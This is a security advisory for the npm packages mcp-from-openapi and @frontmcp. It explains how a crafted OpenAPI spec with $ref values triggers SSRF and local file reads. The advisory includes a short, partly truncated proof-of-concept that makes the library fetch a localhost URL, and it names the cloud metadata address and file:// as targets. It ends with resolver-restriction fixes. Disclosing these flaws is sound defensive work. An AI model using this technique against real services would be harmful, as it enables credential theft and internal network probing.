GHSA-v6ph-xcq9-qxxj mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications

• npm mcp-from-openapi: < 2.3.0 → fixed in 2.3.0 • npm @frontmcp/sdk: < 1.0.4 → fixed in 1.0.4 • npm @frontmcp/adapters: < 1.0.4 → fixed in 1.0.4

Summary The `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications. Affected Versions ` { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'application/json'}); res.end('{"type":"string"}'); }); srv.listen(9997, async () => { const spec = { openapi: '3.0.0', info: { title: 'Evil', version: '1.0' }, paths: { '/test': { get: { operationId: 'getTest', summary: 'test', responses: { '200': { description: 'OK', content: { 'application/json': { schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' } } } } } } } } }; const gen = new OpenAPIToolGenerator(spec, { validate: false }); await gen.initialize(); // Output: "SSRF HIT: GET /ssrf-proof" // The library fetched our attacker URL during $ref dereferencing. srv.close(); }); ``` Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during `initialize()`. Impact • Cloud credential theft — `$ref` pointing to `http://169.254.169.254/` steals AWS/GCP/Azure metadata • Internal network scanning — `$ref` values can probe internal services and ports • Local file read — `file://` protocol reads arbitrary files from the server filesystem • No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library Suggested Fix Pass resolver options to `dereference()` that restrict which protocols and hosts are allowed: ```javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, // Disable file:// protocol http: { // Only allow same-origin or explicitly allowed hosts headers: this.options.headers, timeout: this.options.timeout, } } } ); ``` Or disable all external resolution and require all schemas to be inline: ```javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, http: false, https: false } } ); ```